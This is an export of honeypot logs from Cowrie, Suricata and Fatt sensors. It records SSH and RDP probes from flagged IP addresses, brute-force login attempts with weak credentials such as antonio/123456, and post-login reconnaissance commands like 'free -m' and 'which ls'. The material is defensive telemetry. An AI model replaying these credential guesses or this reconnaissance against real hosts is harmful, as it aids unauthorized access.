28729	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:19:55.036903+03	2021-09-20 14:30:03.215526+03	{"_id": "SwbvAnwBvYTbRNuEFzCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "dccd5abe6824", "@version": "1", "duration": 3.1965856552124023, "timestamp": "2021-09-20T11:19:55.036903Z", "@timestamp": "2021-09-20T11:19:55.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28730	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:56.162652+03	2021-09-20 14:30:03.217524+03	{"_id": "VAbvAnwBvYTbRNuEGzCE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.success", "message": "login attempt [antonio/123456] succeeded", "session": "2606c7026a3f", "@version": "1", "password": "123456", "username": "antonio", "timestamp": "2021-09-20T11:19:56.162652Z", "@timestamp": "2021-09-20T11:19:56.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
28731	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:57.717268+03	2021-09-20 14:30:03.218553+03	{"_id": "VQbvAnwBvYTbRNuEHzBs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b8891d9b8f28", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:19:57.717268Z", "@timestamp": "2021-09-20T11:19:57.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28732	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:19:57.994443+03	2021-09-20 14:30:03.219553+03	{"_id": "VwbvAnwBvYTbRNuEITAq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 512174554129462, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2127, "dest_port": 22, "timestamp": "2021-09-20T11:19:57.994443Z", "@timestamp": "2021-09-20T11:19:57.994Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28733	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:57.718139+03	2021-09-20 14:30:03.220523+03	{"_id": "WAbvAnwBvYTbRNuEIjBq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2127, "timestamp": "2021-09-20T11:19:57.718139", "@timestamp": "2021-09-20T11:19:57.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28734	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:19:48.116775+03	2021-09-20 14:30:03.222554+03	{"_id": "FQbuAnwBvYTbRNuE-jAT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 238314553848714, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35358, "dest_port": 22, "timestamp": "2021-09-20T11:19:48.116775Z", "@timestamp": "2021-09-20T11:19:48.116Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28735	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:47.945377+03	2021-09-20 14:30:03.223553+03	{"_id": "FgbuAnwBvYTbRNuE-zBU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35358, "timestamp": "2021-09-20T11:19:47.945377", "@timestamp": "2021-09-20T11:19:47.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28736	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:19:48.118098+03	2021-09-20 14:30:03.224553+03	{"_id": "GQbuAnwBvYTbRNuE_DA-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "1eff696d39c2", "@version": "1", "timestamp": "2021-09-20T11:19:48.118098Z", "@timestamp": "2021-09-20T11:19:48.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28737	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:52.83749+03	2021-09-20 14:30:03.225553+03	{"_id": "OwbvAnwBvYTbRNuEDTCf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:52.728001+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2131942012623809, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 46796, "dest_port": 3389, "timestamp": "2021-09-20T11:19:52.837490Z", "@timestamp": "2021-09-20T11:19:52.837Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28738	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:19:52.858501+03	2021-09-20 14:30:03.228553+03	{"_id": "PAbvAnwBvYTbRNuEDTCf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:52.728001+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 2131942012623809, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 46796, "timestamp": "2021-09-20T11:19:52.858501Z", "@timestamp": "2021-09-20T11:19:52.858Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28739	87.251.67.120	109.199.241.180	Fatt	2021-09-20 14:19:52.83749+03	2021-09-20 14:30:03.229553+03	{"_id": "PgbvAnwBvYTbRNuEDjDf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 46796, "dest_port": 3389, "timestamp": "2021-09-20T11:19:52.837490", "@timestamp": "2021-09-20T11:19:52.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28740	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:19:53.682551+03	2021-09-20 14:30:03.231554+03	{"_id": "PwbvAnwBvYTbRNuEDzDJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [dublin/dublin] failed", "session": "dccd5abe6824", "@version": "1", "password": "dublin", "username": "dublin", "timestamp": "2021-09-20T11:19:53.682551Z", "@timestamp": "2021-09-20T11:19:53.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28741	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:19.016229+03	2021-09-20 14:30:03.232554+03	{"_id": "0AbvAnwBvYTbRNuEdTBu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:19.016229Z", "@timestamp": "2021-09-20T11:20:19.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28742	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:20.418792+03	2021-09-20 14:30:03.233554+03	{"_id": "0wbvAnwBvYTbRNuEeTBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:20.418792Z", "@timestamp": "2021-09-20T11:20:20.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28743	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:20.418287+03	2021-09-20 14:30:03.234554+03	{"_id": "1QbvAnwBvYTbRNuEeTBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:20.418287Z", "@timestamp": "2021-09-20T11:20:20.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28744	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:20.059557+03	2021-09-20 14:30:03.235554+03	{"_id": "1gbvAnwBvYTbRNuEeTBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "117.22.230.94", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 1 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 1.0440175533294678, "duplicate": true, "timestamp": "2021-09-20T11:20:20.059557Z", "@timestamp": "2021-09-20T11:20:20.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28745	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:21.463671+03	2021-09-20 14:30:03.237555+03	{"_id": "1wbvAnwBvYTbRNuEfTA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "117.22.230.94", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 1 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 1.0460212230682373, "duplicate": true, "timestamp": "2021-09-20T11:20:21.463671Z", "@timestamp": "2021-09-20T11:20:21.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28746	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:22.404418+03	2021-09-20 14:30:03.238553+03	{"_id": "3wbvAnwBvYTbRNuEgTAp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "117.22.230.94", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5512986183166504, "duplicate": true, "timestamp": "2021-09-20T11:20:22.404418Z", "@timestamp": "2021-09-20T11:20:22.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28747	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:22.826006+03	2021-09-20 14:30:03.239556+03	{"_id": "4gbvAnwBvYTbRNuEgTAp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:22.826006Z", "@timestamp": "2021-09-20T11:20:22.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28753	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:20.417734+03	2021-09-20 14:30:03.247554+03	{"_id": "1AbvAnwBvYTbRNuEeTBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:20.417734Z", "@timestamp": "2021-09-20T11:20:20.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
